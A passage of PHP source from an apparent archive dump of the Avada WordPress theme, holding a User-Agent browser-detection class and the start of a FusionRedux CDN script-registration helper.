self::BROWSER_UNKNOWN; $this->_version = self::VERSION_UNKNOWN; $this->_platform = self::PLATFORM_UNKNOWN; $this->_os = self::OPERATING_SYSTEM_UNKNOWN; $this->_is_aol = false; $this->_is_mobile = false; $this->_is_tablet = false; $this->_is_robot = false; $this->_is_facebook = false; $this->_aol_version = self::VERSION_UNKNOWN; } /** * Check to see if the specific browser is valid * @param string $browserName * @return bool True if the browser is the specified browser */ function isBrowser($browserName) { return (0 == strcasecmp($this->_browser_name, trim($browserName))); } /** * The name of the browser. All return types are from the class contants * @return string Name of the browser */ public function getBrowser() { return $this->_browser_name; } /** * Set the name of the browser * @param $browser string The name of the Browser */ public function setBrowser($browser) { $this->_browser_name = $browser; } /** * The name of the platform. All return types are from the class contants * @return string Name of the browser */ public function getPlatform() { return $this->_platform; } /** * Set the name of the platform * @param string $platform The name of the Platform */ public function setPlatform($platform) { $this->_platform = $platform; } /** * The version of the browser. * @return string Version of the browser (will only contain alpha-numeric characters and a period) */ public function getVersion() { return $this->_version; } /** * Set the version of the browser * @param string $version The version of the Browser */ public function setVersion($version) { $this->_version = preg_replace('/[^0-9,.,a-z,A-Z-]/', '', $version); } /** * The version of AOL. * @return string Version of AOL (will only contain alpha-numeric characters and a period) */ public function getAolVersion() { return $this->_aol_version; } /** * Set the version of AOL * @param string $version The version of AOL */ public function setAolVersion($version) { $this->_aol_version = preg_replace('/[^0-9,.,a-z,A-Z]/', '', $version); } /** * Is the browser from AOL? * @return boolean True if the browser is from AOL otherwise false */ public function isAol() { return $this->_is_aol; } /** * Is the browser from a mobile device? * @return boolean True if the browser is from a mobile device otherwise false */ public function isMobile() { return $this->_is_mobile; } /** * Is the browser from a tablet device? * @return boolean True if the browser is from a tablet device otherwise false */ public function isTablet() { return $this->_is_tablet; } /** * Is the browser from a robot (ex Slurp,GoogleBot)? * @return boolean True if the browser is from a robot otherwise false */ public function isRobot() { return $this->_is_robot; } /** * Is the browser from facebook? * @return boolean True if the browser is from facebook otherwise false */ public function isFacebook() { return $this->_is_facebook; } /** * Set the browser to be from AOL * @param $isAol */ public function setAol($isAol) { $this->_is_aol = $isAol; } /** * Set the Browser to be mobile * @param boolean $value is the browser a mobile browser or not */ protected function setMobile($value = true) { $this->_is_mobile = $value; } /** * Set the Browser to be tablet * @param boolean $value is the browser a tablet browser or not */ protected function setTablet($value = true) { $this->_is_tablet = $value; } /** * Set the Browser to be a robot * @param boolean $value is the browser a robot or not */ protected function setRobot($value = true) { $this->_is_robot = $value; } /** * Set the Browser to be a Facebook request * @param boolean $value is the browser a robot or not */ protected function setFacebook($value = true) { $this->_is_facebook = $value; } /** * Get the user agent value in use to determine the browser * @return string The user agent from the HTTP header */ public function getUserAgent() { return $this->_agent; } /** * Set the user agent value (the construction will use the HTTP header value - this will overwrite it) * @param string $agent_string The value for the User Agent */ public function setUserAgent($agent_string) { $this->reset(); $this->_agent = $agent_string; $this->determine(); } /** * Used to determine if the browser is actually "chromeframe" * @since 1.7 * @return boolean True if the browser is using chromeframe */ public function isChromeFrame() { return (strpos($this->_agent, "chromeframe") !== false); } /** * Returns a formatted string with a summary of the details of the browser. * @return string formatted string with a summary of the browser */ public function __toString() { return "Browser Name: {$this->getBrowser()}
    \n" . "Browser Version: {$this->getVersion()}
    \n" . "Browser User Agent String: {$this->getUserAgent()}
    \n" . "Platform: {$this->getPlatform()}
    "; } /** * Protected routine to calculate and determine what the browser is in use (including platform) */ protected function determine() { $this->checkPlatform(); $this->checkBrowsers(); $this->checkForAol(); } /** * Protected routine to determine the browser type * @return boolean True if the browser was detected otherwise false */ protected function checkBrowsers() { return ( // well-known, well-used // Special Notes: // (1) Opera must be checked before FireFox due to the odd // user agents used in some older versions of Opera // (2) WebTV is strapped onto Internet Explorer so we must // check for WebTV before IE // (3) (deprecated) Galeon is based on Firefox and needs to be // tested before Firefox is tested // (4) OmniWeb is based on Safari so OmniWeb check must occur // before Safari // (5) Netscape 9+ is based on Firefox so Netscape checks // before FireFox are necessary // (6) Vivalid is UA contains both Firefox and Chrome so Vivalid checks // before Firefox and Chrome $this->checkBrowserWebTv() || $this->checkBrowserEdge() || $this->checkBrowserInternetExplorer() || $this->checkBrowserOpera() || $this->checkBrowserGaleon() || $this->checkBrowserNetscapeNavigator9Plus() || $this->checkBrowserVivaldi() || $this->checkBrowserFirefox() || $this->checkBrowserChrome() || $this->checkBrowserOmniWeb() || // common mobile $this->checkBrowserAndroid() || $this->checkBrowseriPad() || $this->checkBrowseriPod() || $this->checkBrowseriPhone() || $this->checkBrowserBlackBerry() || $this->checkBrowserNokia() || // common bots $this->checkBrowserGoogleBot() || $this->checkBrowserMSNBot() || $this->checkBrowserBingBot() || $this->checkBrowserSlurp() || // check for facebook external hit when loading URL $this->checkFacebookExternalHit() || // WebKit base check (post mobile and others) $this->checkBrowserSafari() || // everyone else $this->checkBrowserNetPositive() || $this->checkBrowserFirebird() || $this->checkBrowserKonqueror() || $this->checkBrowserIcab() || $this->checkBrowserPhoenix() || $this->checkBrowserAmaya() || $this->checkBrowserLynx() || $this->checkBrowserShiretoko() || $this->checkBrowserIceCat() || $this->checkBrowserIceweasel() || $this->checkBrowserW3CValidator() || $this->checkBrowserPlayStation() || $this->checkBrowserMozilla() /* Mozilla is such an open standard that you must check it last */ ); } /** * Determine if the user is using a BlackBerry (last updated 1.7) * @return boolean True if the browser is the BlackBerry browser otherwise false */ protected function checkBrowserBlackBerry() { if (stripos($this->_agent, 'blackberry') !== false) { $aresult = explode("/", stristr($this->_agent, "BlackBerry")); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_BLACKBERRY; $this->setMobile(true); return true; } } return false; } /** * Determine if the user is using an AOL User Agent (last updated 1.7) * @return boolean True if the browser is from AOL otherwise false */ protected function checkForAol() { $this->setAol(false); $this->setAolVersion(self::VERSION_UNKNOWN); if (stripos($this->_agent, 'aol') !== false) { $aversion = explode(' ', stristr($this->_agent, 'AOL')); if (isset($aversion[1])) { $this->setAol(true); $this->setAolVersion(preg_replace('/[^0-9\.a-z]/i', '', $aversion[1])); return true; } } return false; } /** * Determine if the browser is the GoogleBot or not (last updated 1.7) * @return boolean True if the browser is the GoogletBot otherwise false */ protected function checkBrowserGoogleBot() { if (stripos($this->_agent, 'googlebot') !== false) { $aresult = explode('/', stristr($this->_agent, 'googlebot')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion(str_replace(';', '', $aversion[0])); $this->_browser_name = self::BROWSER_GOOGLEBOT; $this->setRobot(true); return true; } } return false; } /** * Determine if the browser is the MSNBot or not (last updated 1.9) * @return boolean True if the browser is the MSNBot otherwise false */ protected function checkBrowserMSNBot() { if (stripos($this->_agent, "msnbot") !== false) { $aresult = explode("/", stristr($this->_agent, "msnbot")); if (isset($aresult[1])) { $aversion = explode(" ", $aresult[1]); $this->setVersion(str_replace(";", "", $aversion[0])); $this->_browser_name = self::BROWSER_MSNBOT; $this->setRobot(true); return true; } } return false; } /** * Determine if the browser is the BingBot or not (last updated 1.9) * @return boolean True if the browser is the BingBot otherwise false */ protected function checkBrowserBingBot() { if (stripos($this->_agent, "bingbot") !== false) { $aresult = explode("/", stristr($this->_agent, "bingbot")); if (isset($aresult[1])) { $aversion = explode(" ", $aresult[1]); $this->setVersion(str_replace(";", "", $aversion[0])); $this->_browser_name = self::BROWSER_BINGBOT; $this->setRobot(true); return true; } } return false; } /** * Determine if the browser is the W3C Validator or not (last updated 1.7) * @return boolean True if the browser is the W3C Validator otherwise false */ protected function checkBrowserW3CValidator() { if (stripos($this->_agent, 'W3C-checklink') !== false) { $aresult = explode('/', stristr($this->_agent, 'W3C-checklink')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_W3CVALIDATOR; return true; } } else if (stripos($this->_agent, 'W3C_Validator') !== false) { // Some of the Validator versions do not delineate w/ a slash - add it back in $ua = str_replace("W3C_Validator ", "W3C_Validator/", $this->_agent); $aresult = explode('/', stristr($ua, 'W3C_Validator')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_W3CVALIDATOR; return true; } } else if (stripos($this->_agent, 'W3C-mobileOK') !== false) { $this->_browser_name = self::BROWSER_W3CVALIDATOR; $this->setMobile(true); return true; } return false; } /** * Determine if the browser is the Yahoo! Slurp Robot or not (last updated 1.7) * @return boolean True if the browser is the Yahoo! Slurp Robot otherwise false */ protected function checkBrowserSlurp() { if (stripos($this->_agent, 'slurp') !== false) { $aresult = explode('/', stristr($this->_agent, 'Slurp')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_SLURP; $this->setRobot(true); $this->setMobile(false); return true; } } return false; } /** * Determine if the browser is Edge or not * @return boolean True if the browser is Edge otherwise false */ protected function checkBrowserEdge() { if( stripos($this->_agent,'Edge/') !== false ) { $aresult = explode('/', stristr($this->_agent, 'Edge')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_EDGE); if(stripos($this->_agent, 'Windows Phone') !== false || stripos($this->_agent, 'Android') !== false) { $this->setMobile(true); } return true; } } return false; } /** * Determine if the browser is Internet Explorer or not (last updated 1.7) * @return boolean True if the browser is Internet Explorer otherwise false */ protected function checkBrowserInternetExplorer() { // Test for IE11 if( stripos($this->_agent,'Trident/7.0; rv:11.0') !== false ) { $this->setBrowser(self::BROWSER_IE); $this->setVersion('11.0'); return true; } // Test for v1 - v1.5 IE else if (stripos($this->_agent, 'microsoft internet explorer') !== false) { $this->setBrowser(self::BROWSER_IE); $this->setVersion('1.0'); $aresult = stristr($this->_agent, '/'); if (preg_match('/308|425|426|474|0b1/i', $aresult)) { $this->setVersion('1.5'); } return true; } // Test for versions > 1.5 else if (stripos($this->_agent, 'msie') !== false && stripos($this->_agent, 'opera') === false) { // See if the browser is the odd MSN Explorer if (stripos($this->_agent, 'msnb') !== false) { $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'MSN')); if (isset($aresult[1])) { $this->setBrowser(self::BROWSER_MSN); $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1])); return true; } } $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'msie')); if (isset($aresult[1])) { $this->setBrowser(self::BROWSER_IE); $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1])); if(stripos($this->_agent, 'IEMobile') !== false) { $this->setBrowser(self::BROWSER_POCKET_IE); $this->setMobile(true); } return true; } } // Test for versions > IE 10 else if(stripos($this->_agent, 'trident') !== false) { $this->setBrowser(self::BROWSER_IE); $result = explode('rv:', $this->_agent); if (isset($result[1])) { $this->setVersion(preg_replace('/[^0-9.]+/', '', $result[1])); $this->_agent = str_replace(array("Mozilla", "Gecko"), "MSIE", $this->_agent); } } // Test for Pocket IE else if (stripos($this->_agent, 'mspie') !== false || stripos($this->_agent, 'pocket') !== false) { $aresult = explode(' ', stristr($this->_agent, 'mspie')); if (isset($aresult[1])) { $this->setPlatform(self::PLATFORM_WINDOWS_CE); $this->setBrowser(self::BROWSER_POCKET_IE); $this->setMobile(true); if (stripos($this->_agent, 'mspie') !== false) { $this->setVersion($aresult[1]); } else { $aversion = explode('/', $this->_agent); if (isset($aversion[1])) { $this->setVersion($aversion[1]); } } return true; } } return false; } /** * Determine if the browser is Opera or not (last updated 1.7) * @return boolean True if the browser is Opera otherwise false */ protected function checkBrowserOpera() { if (stripos($this->_agent, 'opera mini') !== false) { $resultant = stristr($this->_agent, 'opera mini'); if (preg_match('/\//', $resultant)) { $aresult = explode('/', $resultant); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } } else { $aversion = explode(' ', stristr($resultant, 'opera mini')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); } } $this->_browser_name = self::BROWSER_OPERA_MINI; $this->setMobile(true); return true; } else if (stripos($this->_agent, 'opera') !== false) { $resultant = stristr($this->_agent, 'opera'); if (preg_match('/Version\/(1*.*)$/', $resultant, $matches)) { $this->setVersion($matches[1]); } else if (preg_match('/\//', $resultant)) { $aresult = explode('/', str_replace("(", " ", $resultant)); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } } else { $aversion = explode(' ', stristr($resultant, 'opera')); $this->setVersion(isset($aversion[1]) ? $aversion[1] : ""); } if (stripos($this->_agent, 'Opera Mobi') !== false) { $this->setMobile(true); } $this->_browser_name = self::BROWSER_OPERA; return true; } else if (stripos($this->_agent, 'OPR') !== false) { $resultant = stristr($this->_agent, 'OPR'); if (preg_match('/\//', $resultant)) { $aresult = explode('/', str_replace("(", " ", $resultant)); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } } if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } $this->_browser_name = self::BROWSER_OPERA; return true; } return false; } /** * Determine if the browser is Chrome or not (last updated 1.7) * @return boolean True if the browser is Chrome otherwise false */ protected function checkBrowserChrome() { if (stripos($this->_agent, 'Chrome') !== false) { $aresult = explode('/', stristr($this->_agent, 'Chrome')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_CHROME); //Chrome on Android if (stripos($this->_agent, 'Android') !== false) { if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } else { $this->setTablet(true); } } return true; } } return false; } /** * Determine if the browser is WebTv or not (last updated 1.7) * @return boolean True if the browser is WebTv otherwise false */ protected function checkBrowserWebTv() { if (stripos($this->_agent, 'webtv') !== false) { $aresult = explode('/', stristr($this->_agent, 'webtv')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_WEBTV); return true; } } return false; } /** * Determine if the browser is NetPositive or not (last updated 1.7) * @return boolean True if the browser is NetPositive otherwise false */ protected function checkBrowserNetPositive() { if (stripos($this->_agent, 'NetPositive') !== false) { $aresult = explode('/', stristr($this->_agent, 'NetPositive')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion(str_replace(array('(', ')', ';'), '', $aversion[0])); $this->setBrowser(self::BROWSER_NETPOSITIVE); return true; } } return false; } /** * Determine if the browser is Galeon or not (last updated 1.7) * @return boolean True if the browser is Galeon otherwise false */ protected function checkBrowserGaleon() { if (stripos($this->_agent, 'galeon') !== false) { $aresult = explode(' ', stristr($this->_agent, 'galeon')); $aversion = explode('/', $aresult[0]); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_GALEON); return true; } } return false; } /** * Determine if the browser is Konqueror or not (last updated 1.7) * @return boolean True if the browser is Konqueror otherwise false */ protected function checkBrowserKonqueror() { if (stripos($this->_agent, 'Konqueror') !== false) { $aresult = explode(' ', stristr($this->_agent, 'Konqueror')); $aversion = explode('/', $aresult[0]); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_KONQUEROR); return true; } } return false; } /** * Determine if the browser is iCab or not (last updated 1.7) * @return boolean True if the browser is iCab otherwise false */ protected function checkBrowserIcab() { if (stripos($this->_agent, 'icab') !== false) { $aversion = explode(' ', stristr(str_replace('/', ' ', $this->_agent), 'icab')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_ICAB); return true; } } return false; } /** * Determine if the browser is OmniWeb or not (last updated 1.7) * @return boolean True if the browser is OmniWeb otherwise false */ protected function checkBrowserOmniWeb() { if (stripos($this->_agent, 'omniweb') !== false) { $aresult = explode('/', stristr($this->_agent, 'omniweb')); $aversion = explode(' ', isset($aresult[1]) ? $aresult[1] : ""); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_OMNIWEB); return true; } return false; } /** * Determine if the browser is Phoenix or not (last updated 1.7) * @return boolean True if the browser is Phoenix otherwise false */ protected function checkBrowserPhoenix() { if (stripos($this->_agent, 'Phoenix') !== false) { $aversion = explode('/', stristr($this->_agent, 'Phoenix')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_PHOENIX); return true; } } return false; } /** * Determine if the browser is Firebird or not (last updated 1.7) * @return boolean True if the browser is Firebird otherwise false */ protected function checkBrowserFirebird() { if (stripos($this->_agent, 'Firebird') !== false) { $aversion = explode('/', stristr($this->_agent, 'Firebird')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_FIREBIRD); return true; } } return false; } /** * Determine if the browser is Netscape Navigator 9+ or not (last updated 1.7) * NOTE: (http://browser.netscape.com/ - Official support ended on March 1st, 2008) * @return boolean True if the browser is Netscape Navigator 9+ otherwise false */ protected function checkBrowserNetscapeNavigator9Plus() { if (stripos($this->_agent, 'Firefox') !== false && preg_match('/Navigator\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR); return true; } else if (stripos($this->_agent, 'Firefox') === false && preg_match('/Netscape6?\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR); return true; } return false; } /** * Determine if the browser is Shiretoko or not (https://wiki.mozilla.org/Projects/shiretoko) (last updated 1.7) * @return boolean True if the browser is Shiretoko otherwise false */ protected function checkBrowserShiretoko() { if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/Shiretoko\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_SHIRETOKO); return true; } return false; } /** * Determine if the browser is Ice Cat or not (http://en.wikipedia.org/wiki/GNU_IceCat) (last updated 1.7) * @return boolean True if the browser is Ice Cat otherwise false */ protected function checkBrowserIceCat() { if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/IceCat\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_ICECAT); return true; } return false; } /** * Determine if the browser is Nokia or not (last updated 1.7) * @return boolean True if the browser is Nokia otherwise false */ protected function checkBrowserNokia() { if (preg_match("/Nokia([^\/]+)\/([^ SP]+)/i", $this->_agent, $matches)) { $this->setVersion($matches[2]); if (stripos($this->_agent, 'Series60') !== false || strpos($this->_agent, 'S60') !== false) { $this->setBrowser(self::BROWSER_NOKIA_S60); } else { $this->setBrowser(self::BROWSER_NOKIA); } $this->setMobile(true); return true; } return false; } /** * Determine if the browser is Firefox or not (last updated 1.7) * @return boolean True if the browser is Firefox otherwise false */ protected function checkBrowserFirefox() { if (stripos($this->_agent, 'safari') === false) { if (preg_match("/Firefox[\/ \(]([^ ;\)]+)/i", $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_FIREFOX); //Firefox on Android if (stripos($this->_agent, 'Android') !== false) { if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } else { $this->setTablet(true); } } return true; } else if (preg_match("/Firefox$/i", $this->_agent, $matches)) { $this->setVersion(""); $this->setBrowser(self::BROWSER_FIREFOX); return true; } } return false; } /** * Determine if the browser is Firefox or not (last updated 1.7) * @return boolean True if the browser is Firefox otherwise false */ protected function checkBrowserIceweasel() { if (stripos($this->_agent, 'Iceweasel') !== false) { $aresult = explode('/', stristr($this->_agent, 'Iceweasel')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_ICEWEASEL); return true; } } return false; } /** * Determine if the browser is Mozilla or not (last updated 1.7) * @return boolean True if the browser is Mozilla otherwise false */ protected function checkBrowserMozilla() { if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) { $aversion = explode(' ', stristr($this->_agent, 'rv:')); preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent, $aversion); $this->setVersion(str_replace('rv:', '', $aversion[0])); $this->setBrowser(self::BROWSER_MOZILLA); return true; } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9]\.[0-9]/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) { $aversion = explode('', stristr($this->_agent, 'rv:')); $this->setVersion(str_replace('rv:', '', $aversion[0])); $this->setBrowser(self::BROWSER_MOZILLA); return true; } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/mozilla\/([^ ]*)/i', $this->_agent, $matches) && stripos($this->_agent, 'netscape') === false) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_MOZILLA); return true; } return false; } /** * Determine if the browser is Lynx or not (last updated 1.7) * @return boolean True if the browser is Lynx otherwise false */ protected function checkBrowserLynx() { if (stripos($this->_agent, 'lynx') !== false) { $aresult = explode('/', stristr($this->_agent, 'Lynx')); $aversion = explode(' ', (isset($aresult[1]) ? $aresult[1] : "")); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_LYNX); return true; } return false; } /** * Determine if the browser is Amaya or not (last updated 1.7) * @return boolean True if the browser is Amaya otherwise false */ protected function checkBrowserAmaya() { if (stripos($this->_agent, 'amaya') !== false) { $aresult = explode('/', stristr($this->_agent, 'Amaya')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_AMAYA); return true; } } return false; } /** * Determine if the browser is Safari or not (last updated 1.7) * @return boolean True if the browser is Safari otherwise false */ protected function checkBrowserSafari() { if (stripos($this->_agent, 'Safari') !== false && stripos($this->_agent, 'iPhone') === false && stripos($this->_agent, 'iPod') === false) { $aresult = explode('/', stristr($this->_agent, 'Version')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } else { $this->setVersion(self::VERSION_UNKNOWN); } $this->setBrowser(self::BROWSER_SAFARI); return true; } return false; } /** * Detect if URL is loaded from FacebookExternalHit * @return boolean True if it detects FacebookExternalHit otherwise false */ protected function checkFacebookExternalHit() { if(stristr($this->_agent,'FacebookExternalHit')) { $this->setRobot(true); $this->setFacebook(true); return true; } return false; } /** * Detect if URL is being loaded from internal Facebook browser * @return boolean True if it detects internal Facebook browser otherwise false */ protected function checkForFacebookIos() { if(stristr($this->_agent,'FBIOS')) { $this->setFacebook(true); return true; } return false; } /** * Detect Version for the Safari browser on iOS devices * @return boolean True if it detects the version correctly otherwise false */ protected function getSafariVersionOnIos() { $aresult = explode('/',stristr($this->_agent,'Version')); if( isset($aresult[1]) ) { $aversion = explode(' ',$aresult[1]); $this->setVersion($aversion[0]); return true; } return false; } /** * Detect Version for the Chrome browser on iOS devices * @return boolean True if it detects the version correctly otherwise false */ protected function getChromeVersionOnIos() { $aresult = explode('/',stristr($this->_agent,'CriOS')); if( isset($aresult[1]) ) { $aversion = explode(' ',$aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_CHROME); return true; } return false; } /** * Determine if the browser is iPhone or not (last updated 1.7) * @return boolean True if the browser is iPhone otherwise false */ protected function checkBrowseriPhone() { if( stripos($this->_agent,'iPhone') !== false ) { $this->setVersion(self::VERSION_UNKNOWN); $this->setBrowser(self::BROWSER_IPHONE); $this->getSafariVersionOnIos(); $this->getChromeVersionOnIos(); $this->checkForFacebookIos(); $this->setMobile(true); return true; } return false; } /** * Determine if the browser is iPad or not (last updated 1.7) * @return boolean True if the browser is iPad otherwise false */ protected function checkBrowseriPad() { if( stripos($this->_agent,'iPad') !== false ) { $this->setVersion(self::VERSION_UNKNOWN); $this->setBrowser(self::BROWSER_IPAD); $this->getSafariVersionOnIos(); $this->getChromeVersionOnIos(); $this->checkForFacebookIos(); $this->setTablet(true); return true; } return false; } /** * Determine if the browser is iPod or not (last updated 1.7) * @return boolean True if the browser is iPod otherwise false */ protected function checkBrowseriPod() { if( stripos($this->_agent,'iPod') !== false ) { $this->setVersion(self::VERSION_UNKNOWN); $this->setBrowser(self::BROWSER_IPOD); $this->getSafariVersionOnIos(); $this->getChromeVersionOnIos(); $this->checkForFacebookIos(); $this->setMobile(true); return true; } return false; } /** * Determine if the browser is Android or not (last updated 1.7) * @return boolean True if the browser is Android otherwise false */ protected function checkBrowserAndroid() { if (stripos($this->_agent, 'Android') !== false) { $aresult = explode(' ', stristr($this->_agent, 'Android')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } else { $this->setVersion(self::VERSION_UNKNOWN); } if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } else { $this->setTablet(true); } $this->setBrowser(self::BROWSER_ANDROID); return true; } return false; } /** * Determine if the browser is Vivaldi * @return boolean True if the browser is Vivaldi otherwise false */ protected function checkBrowserVivaldi() { if (stripos($this->_agent, 'Vivaldi') !== false) { $aresult = explode('/', stristr($this->_agent, 'Vivaldi')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_VIVALDI); return true; } } return false; } /** * Determine if the browser is a PlayStation * @return boolean True if the browser is PlayStation otherwise false */ protected function checkBrowserPlayStation() { if (stripos($this->_agent, 'PlayStation ') !== false) { $aresult = explode(' ', stristr($this->_agent, 'PlayStation ')); $this->setBrowser(self::BROWSER_PLAYSTATION); if (isset($aresult[0])) { $aversion = explode(')', $aresult[2]); $this->setVersion($aversion[0]); if (stripos($this->_agent, 'Portable)') !== false || stripos($this->_agent, 'Vita') !== false) { $this->setMobile(true); } return true; } } return false; } /** * Determine the user's platform (last updated 2.0) */ protected function checkPlatform() { if (stripos($this->_agent, 'windows') !== false) { $this->_platform = self::PLATFORM_WINDOWS; } else if (stripos($this->_agent, 'iPad') !== false) { $this->_platform = self::PLATFORM_IPAD; } else if (stripos($this->_agent, 'iPod') !== false) { $this->_platform = self::PLATFORM_IPOD; } else if (stripos($this->_agent, 'iPhone') !== false) { $this->_platform = self::PLATFORM_IPHONE; } elseif (stripos($this->_agent, 'mac') !== false) { $this->_platform = self::PLATFORM_APPLE; } elseif (stripos($this->_agent, 'android') !== false) { $this->_platform = self::PLATFORM_ANDROID; } elseif (stripos($this->_agent, 'linux') !== false) { $this->_platform = self::PLATFORM_LINUX; } else if (stripos($this->_agent, 'Nokia') !== false) { $this->_platform = self::PLATFORM_NOKIA; } else if (stripos($this->_agent, 'BlackBerry') !== false) { $this->_platform = self::PLATFORM_BLACKBERRY; } elseif (stripos($this->_agent, 'FreeBSD') !== false) { $this->_platform = self::PLATFORM_FREEBSD; } elseif (stripos($this->_agent, 'OpenBSD') !== false) { $this->_platform = self::PLATFORM_OPENBSD; } elseif (stripos($this->_agent, 'NetBSD') !== false) { $this->_platform = self::PLATFORM_NETBSD; } elseif (stripos($this->_agent, 'OpenSolaris') !== false) { $this->_platform = self::PLATFORM_OPENSOLARIS; } elseif (stripos($this->_agent, 'SunOS') !== false) { $this->_platform = self::PLATFORM_SUNOS; } elseif (stripos($this->_agent, 'OS\/2') !== false) { $this->_platform = self::PLATFORM_OS2; } elseif (stripos($this->_agent, 'BeOS') !== false) { $this->_platform = self::PLATFORM_BEOS; } elseif (stripos($this->_agent, 'win') !== false) { $this->_platform = self::PLATFORM_WINDOWS; } elseif (stripos($this->_agent, 'Playstation') !== false) { $this->_platform = self::PLATFORM_PLAYSTATION; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_cdn.php000064400000014170152342437700024714 0ustar00args['dev_mode'] ) { $msg = sprintf( __( 'If you are developing offline, please download and install the FusionRedux Vendor Support plugin/extension to bypass the our CDN and avoid this warning', 'Avada' ), 'https://github.com/fusionreduxframework/fusionredux-vendor-support' ); } self::$_parent->admin_notices[] = array( 'type' => 'error', 'msg' => '' . __( 'FusionRedux Framework Warning', 'Avada' ) . '
    ' . sprintf( __( '%s CDN unavailable. Some controls may not render properly.', 'Avada' ), $handle ) . ' ' . $msg, 'id' => $handle . $tran_key, 'dismiss' => false, ); } } } else { set_transient( $handle . $tran_key, true, MINUTE_IN_SECONDS * self::$_parent->args['cdn_check_time'] ); if ( $register ) { self::_register( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script ); } else { self::_enqueue( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script ); } } } } private static function _vendor_plugin( $register = true, $handle = '', $src_cdn = '', $deps = [], $ver = false, $footer_or_media = false, $is_script = true ) { if ( class_exists( 'FusionRedux_VendorURL' ) ) { $src = FusionRedux_VendorURL::get_url( $handle ); if ( $register ) { self::_register( $handle, $src, $deps, $ver, $footer_or_media, $is_script ); } else { self::_enqueue( $handle, $src, $deps, $ver, $footer_or_media, $is_script ); } } else { if ( ! self::$_set ) { self::$_parent->admin_notices[] = array( 'type' => 'error', 'msg' => sprintf( __( 'The Vendor Support plugin (or extension) is either not installed or not activated and thus, some controls may not render properly. Please ensure that it is installed and activated', 'Avada' ), 'https://github.com/fusionreduxframework/fusionredux-vendor-support', admin_url( 'plugins.php' ) ), 'id' => $handle . '23', 'dismiss' => false, ); self::$_set = true; } } } public static function register_style( $handle, $src_cdn = false, $deps = array(), $ver = false, $media = 'all' ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( true, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } else { self::_vendor_plugin( true, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } } public static function register_script( $handle, $src_cdn = false, $deps = array(), $ver = false, $in_footer = false ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( true, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); 